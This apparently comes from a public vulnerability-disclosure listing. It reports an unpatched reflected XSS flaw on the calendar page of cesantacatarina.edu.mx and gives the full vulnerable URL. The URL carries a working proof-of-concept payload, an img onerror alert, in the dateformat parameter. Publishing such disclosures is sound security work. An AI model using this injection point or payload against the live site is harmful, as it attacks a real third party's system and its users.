cesantacatarina.edu.mx XSS vulnerability

Vulnerable URL: http://www.cesantacatarina.edu.mx/calendario/calendarMain.php?dateformat=/%22%3E%3Cimg%20src=x%20onerror=alert%27XSS%27%3E=4=1837to=name==5=13=m=depto=todos Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.01.2018 Vulnerability type:| XSS Vulnerability...